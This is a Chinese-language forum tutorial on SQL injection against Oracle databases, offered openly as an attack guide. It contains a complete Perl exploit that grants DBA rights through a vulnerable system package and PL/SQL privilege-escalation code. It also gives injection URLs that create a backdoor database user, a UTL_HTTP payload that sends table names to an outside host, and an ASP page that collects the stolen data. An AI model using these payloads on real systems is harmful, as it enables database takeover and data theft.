ART OF WEB-SQL-INJECTION第2卷 ORACLE篇

在國外對ORACLE的攻擊一直很收關注,只是國內研究的人不太多,或者技術不夠~這裏我就打響第一炮吧 文章作者:kj021320
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)

注意:本文章首發I.S.T.O技術團隊,後由原創作者友情提交到邪惡八進制信息安全團隊論壇。
author : kj021320
team: I.S.T.O
很多人都說什麼ASP PHP JSP注射 其實注射最直接是跟數據庫有關!然而那些腳本只是一種輔助
例如ASP/ASPX JSP 啥限制都沒!而PHP則會把' 過濾爲\' 但是若然不是MYSQL POSTGRESQL SQLITE的話這個功能就廢了!
但是我覺得這些腳本語言都不狠~如果CFM的話 估計你就沒折了! 具體各數據庫相關信息請參看
ART OF WEB-SQL-INJECTION第1卷 感謝AMXSA以及I.C.E多我的支持

OK言歸正傳,在國外對ORACLE的攻擊一直很收關注,只是國內研究的人不太多,或者技術不夠~這裏我就打響第一炮吧!
SQLINJECTION 都是要看數據庫的SQL解析引擎的 ,ORACLE這個就不支持多語句執行了!
大家要是用PLSQL那些工具可以用; 來執行多個語句 !
那是因爲工具上面幫你做了多個語句分別提交
ORACLE注射在國外提出了好些攻擊方式,但是能夠web sql injection利用的沒多少!
在早期ngs 和 ARGENISS 都相對提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用戶自己定義的一些函數或者存儲過程會存儲SQL-INJECTION
我拿一個MSSQL的函數作爲例子
create function ISTO_KJ021320(@sql varchar(100))
RETURNS int
begin
exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
end
以上這樣的方式無疑@sql這個參數沒有過濾 存在SQL注入了!
同樣在ORACLE中這樣的方式特別出衆,首先從用戶定義的函數到系統函數
系統包裏面的函數一般都是操作一些系統表!普通用戶是無辦法查取的
但是調用這些系統函數就可以獲取相應的信息~
很容易理解ORACLE權限管理的機制

用戶--->調用函數(繼承函數創建者的權限)--->執行操作
那麼我們只需要做的是改函數裏面的操作 進行添加用戶,建DBA等...

milw0rm securityfocus 紅色數據庫安全 ...公佈的方法都是很簡單的說給了應用而沒有說明道理~
那就由我代勞翻印講解一下吧~
例如以下的官方公佈的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 這個包的這個函數存儲INJECTION
OK 在 milw0rm上面公佈的 exploit 是一段PERL寫的代碼

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";

Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
    -h    <host>    target server address
    -s    <sid>      target sid name
    -u    <user>    user
    -p    <passwd>  password 

    -g|-r            (g)rant dba to user | (r)evoke dba from user
    [-P    <port>    Oracle port]

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
AUTHID CURRENT_USER AS 
PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; 
RETURN(0);
END;
} );

print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare(qq{
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;

-------


以上 的方法其實就是 首先自己要建立一個函數叫 OWN 裏面的操作就是
GRANT DBA TO $user  把DBA權限授予某個用戶!
然後到有存在注入的存儲過程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函數  );
因爲
ACTIVATE_SUBSCRIPTION方法存在注射
所以會直接執行 own函數 去添加一個權限
這裏演示的是 需要先建立一個函數的!但是我們WEB SQL INJ的時候不能寫多個SQL來建個函數啊!
有什麼方法?
ACTIVATE_SUBSCRIPTION存在注射 當然也可以把後面的語句屏蔽了!跟我們WEB SQL INJ差不多
具體怎麼知道應該怎樣檢測挖掘ORACLE的函數注入,下次我會寫篇<<檢測函數注入in ORACLE>>的文章

以上原理介紹完了 開始實戰!
記得 很多文章說要是SQL語句這樣子寫
sqlstr="begin select * from kj021320 where name=$name;end;";
可以執行多語句!其實這個是廢話!現在寫代碼的哪個會這樣~一般都直接操作SQL了
sqlstr="select * from kj021320 where name=$name";
所以在,ORACLE WEB中SQL注射只能使用函數,存儲過程不能使用!具體爲什麼自己去看看文檔

在web 存在一個注射點
http://127.0.0.1:8080/VOA/test.jsp?id=282  數字型的
那麼我們首先來確認這個用戶的權限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
在這裏一個小細節
講講ORACLE的系統表部分
DBA開頭的 只有DBA權限的用戶才能訪問例如 DBA_USERS DBA_TABLES
而一般用戶都能查詢
user_tables 跟 all_tables這兩個系統表 前者是本用戶自己的表! 後者是自己的表以及人家授權給你查詢的表!
一般注射軟件只需要查詢這兩個表就可以獲取用戶的表結構了

回到上面的注射一般都會返回false的!
沒關係其實有函數注射 權限對我們來說不重要~
那現在怎麼確認ORACLE主機的位置呢? 也就是說他的IP跟WEB是不是同一個機器
那麼我們採用
UTL_HTTP 這個包裏面的 request函數
例子:
SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
他會把數據當作URL請求發送出去!具體大型數據庫都有遠程數據調用的方式 可以參看
ART OF WEB-SQL-INJECTION第1卷

那麼我們怎麼構造這個注射呢?很簡單!
http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
這樣子!
然而我們得構造一個頁面接收請求的參數!ASP簡單實現
<%
if request("data")="" then
  response.Write Application("oracle_data")
else
  dim dataValue
  dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
  if request("clear")<>"" then
  Application("oracle_data")=dataValue
  else
  Application("oracle_data")=Application("oracle_data") & dataValue
  end if
end if
%>
除非他數據庫是內網 不然一般我們都可以獲取他的IP地址以及數據~ 比猜表還快!

接下來我們可以獲取他的IP 然後掃他的ORA端口 SID可以通過SELECT查詢獲取 或者用tnscmd檢測!

節下來我就直接一點了!
拿出 06年國外公佈的一個ODAY
GET_DOMAIN_INDEX_TABLES 但是國外好象沒給出更多的利用信息
就是這樣而已,看當時的說明

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME 
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => 
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/

具體注射點在第3個參數
我現在不採用函數形式
直接在裏面插入SQL語句

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
這樣就可以建立一個用戶了!
我們構造SQL

http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
這樣提交就會建立一個KJ021320用戶 而密碼也是KJ021320
可以了建立了用戶也不行~~先給這個用戶添加連接的權限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
再用此方法添加一個DBA權限! 既然你是ORACLE的DBA 那採用什麼方法去寫本地文件拿shell
方法多的是!別說備份了!PRO*C  SQLJ都可以!接下來留給你們吧!

視頻演示http://www.isto.cn/vedio/artwebinj-oracle.rar 

PS:之前發了幾篇MSSQL的利用都給superhei說有人發表過了!鬱悶得很!看來偶不只是孤陋寡聞這麼簡單!發表時間還是個重點問題!呵呵!現在這篇估計國內暫時還沒有人有發過了吧?可以叫自己一聲 中國web sql injection in oralce 之父麼~哈哈!裝A完畢!-_-
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章